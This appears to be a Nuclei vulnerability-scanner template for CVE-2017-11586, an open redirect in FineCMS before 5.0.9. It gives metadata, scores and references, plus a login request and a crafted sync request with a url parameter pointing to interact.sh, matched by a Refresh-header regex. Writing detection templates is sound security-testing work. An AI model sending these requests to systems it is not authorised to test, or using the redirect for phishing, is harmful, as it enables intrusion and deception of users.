id: CVE-2017-11586

info:
  name: FineCMS <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to FineCMS version 5.0.9 or later to fix the open redirect vulnerability.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11586
    cwe-id: CWE-601
    epss-score: 0.02286
    epss-percentile: 0.80924
    cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: finecms
    product: finecms
  tags: cve,cve2017,redirect,finecms,vuln

http:
  - raw:
      - |
        POST /index.php?s=member&c=login&m=index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        back=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1
      - |
        GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: header
        regex:
          - 'Refresh:(.*)url=http:\/\/interact\.sh'
# digest: 490a004630440220082b048a7acb419707c3d6be27729419f503cf87f116aa1db170adee335a1526022033c7463c767999679dd352a3f0ee1285f09446519d35aae59d29e67a4ae780ea:922c64590222798bb761d5b6d8e72950